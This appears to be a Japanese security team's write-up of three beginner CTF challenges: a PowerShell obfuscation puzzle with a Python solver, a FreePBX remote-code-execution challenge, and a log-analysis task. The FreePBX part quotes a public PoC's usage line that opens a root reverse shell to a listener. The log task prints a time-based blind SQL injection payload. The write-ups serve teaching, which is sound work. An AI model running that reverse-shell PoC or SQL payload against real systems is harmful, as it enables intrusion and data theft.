はじめに
昨年の話になってしまいますが、12/23-24で開催されたSECCON 2023 電脳会議のワークショップの1つである『WEST-SEC for SECCON』という初心者向けCTFイベントにチームとして作問提供したので、提供した問題のうち3問ほどwriteupを書いておきます。
1. 背景
2022年に立ち上げたレッドチーム中心に、昨年はNTT西日本グループ内の社内セキュリティコンテストをCTF形式で開催致しました。その過程で作成した問題から幾つか『WEST-SEC for SECCON』に問題提供させてもらいました。そもそも、このWEST-SECというのは、セキュリティ初学者であってもCTFのゲーム性を活かして楽しくセキュリティを学んでいこう、というコンセプトのCTFイベントで初心者向けのCTFイベントを年に何度も開催しております。
2. 「難読化入門」
問題文:
powershellスクリプトに正しいFLAGを入力してください
(以下のpsファイルが提供されます)
$input=Read-Host "FLAGを入力してください"
$flag=91,77,95,100,47,39,82,38,57,59,47,49,72,65,108,78,66,87,74,109
$input_char=$input.ToCharArray()
$i=1
foreach($char in $flag){
If((((([Byte][Char]$input_char[$i-1])+$i*4-32)%96)+32) -ne $char ){
Write-Host "WRONG"
exit
}
$i=$i+1
}
Write-Host "CORRECT"
狙い:
難読化はマルウェアや悪意のあるプログラムに細工を施すことで、サイバー攻撃の検知を困難にしたり、解析を困難にする手法となります。攻撃者にとっては日常的に用いる技術の一端に触れてもらうための問題です。(実際の難読化手法は幾つもあります)
解説:
提供されたpsファイルを眺めると、ユーザから入力されたflagがリスト型のflagに登録されている(ASCIIコードで変換された)各データと一致すれば良いことがわかります。ただし、入力された文字はforeachのループ内のif文の複雑な変換を経てflagの各データと一致する必要があるようです。そのため、剰余演算の逆元を求めるというアプローチも可能だと思いますが、ASCIIコードの総数を踏まえると、総当たりで確認してもすぐに算出できます。というわけで、以下のコードを回すとフラグを入手できます。
#!/usr/local/bin/python3
def deobfuscation(flag):
i = 1
de_flag = ''
for d in flag:
for c in range(0x20, 0x7f): # ASCIIコードの有効範囲を指定
if((c + i * 4 -32) % 96 + 32 == d): # 演算はpsファイルから流用
de_flag += chr(c) # 文字に変換
break
i += 1
print(de_flag)
def main():
flag = [91, 77, 95, 100, 47, 39, 82, 38, 57, 59, 47, 49, 72, 65, 108, 78, 66, 87, 74, 109]
deobfuscation(flag)
if __name__ == '__main__':
main()
3. 「SEC-2016-004」
問題文:
IP電話は攻撃されるって聞いたんだけど。。
以下の場所からflagを入手できるらしい。
$ /etc/flag
(接続用のサーバIPが提供されます)
3.112.xx.xx
狙い:
FreePBXはオープンソースのPBXソフトウェアですが、過去に遠隔から操作を許してしまう脆弱性が存在しておりました。それら該当の脆弱性情報に辿り着くプロセスや公開されているPoC(攻撃コード)がどのように用いられるかに触れてもらうための問題となります。
解説:
提供されたサーバの空きポートをnmap等で調べると、80番はじめ幾つかポートが空いているので、ひとまずブラウザを使って該当IPアドレスにアクセスします。TOP画面を見ると、freePBXというアプリケーションが稼働していることがわかり、バージョン情報も判明します。該当バージョンで何か脆弱性が無いかを探すためにバージョン情報でググってみるとRCEの脆弱性がありPoCコードも公開されています。あとはこのPoCを刺すだけ、ですがPoCの使い方を見てみると、該当サーバからのリバースシェルを受け付けるサーバが必要そうなことが分かります。
Purpose | This script exploits the freepbx website, elevates privileges and returns a reverse bind tcp as root
Usage | python pbx.py -u http://10.2.2.109 -l 10.2.2.115 -p 4444 -s r
というわけで、ダミーのサーバをAWS等で準備してnetcatで待ち受けたのち、PoCを実行するとフラグ取得成功。
4. 「1bitの情報」
問題文:
とあるWebサイトが攻撃を受けました。 攻撃を受けたURLは常に空の応答を返すものでしたが、SQLインジェクションの脆弱性があったようです。
Apacheアクセスログから漏洩した情報を確認してください。
アクセスログのフォーマットは %h %l %u %t "%r" %>s %b %Dです
(アクセスログが提供されます)
狙い:
机上ではなく現場において、SQLインジェクション攻撃を受ける際、攻撃の進行に応じてログがどのように変化するのか、またブラインドSQLインジェクションに関して具体例をもとに理解を深めてもらうための問題となります。
解説:
提供されたアクセスログを眺めていくと、攻撃者がSQLインジェクション成功に向けて様々な調査を行なっていることが確認できます。
図3(DB名、テーブル名などの情報搾取 ※エンコードされてます)
今回、漏洩した情報を確認する必要があるので、図4付近までスクロールしていくと、INFORMATION_SCHEMA.COLUMNSを参照しており、カラムの情報調査を行なっており、COUNT関数によりデータ数の調査をしていると思われるログが残っている。そのあと、2182行目からはデータの抜き取りが始まったかのような痕跡も確認できる。
データ搾取が始まったと思われる以下のSQL文を例に読み解いていきます。これはdb_ctf.productの1行目の1文字目の文字コードが303673より大きければ1秒sleepする、ということを意味しています。このSQL文に対するレスポンス次第で必要となるDB情報の文字コードの解析が可能になるため、ブラインドSQLインジェクションの手法が使われていることが分かります。少し下の行をみると、文字コードを絞り込んだ後は、念の為!=
で一致するかを確認しております。そのため、与えられたアクセスログの中から!=
の行を抽出し、該当の文字コードを抽出し、デコードするとフラグが取得できます。
SELECT IF((ORD(MID((SELECT IFNULL(CAST(pid AS NCHAR),0x20) FROM db_ctf.product ORDER BY pid LIMIT 0,1),1,1))>303673),SLEEP(1),5948)#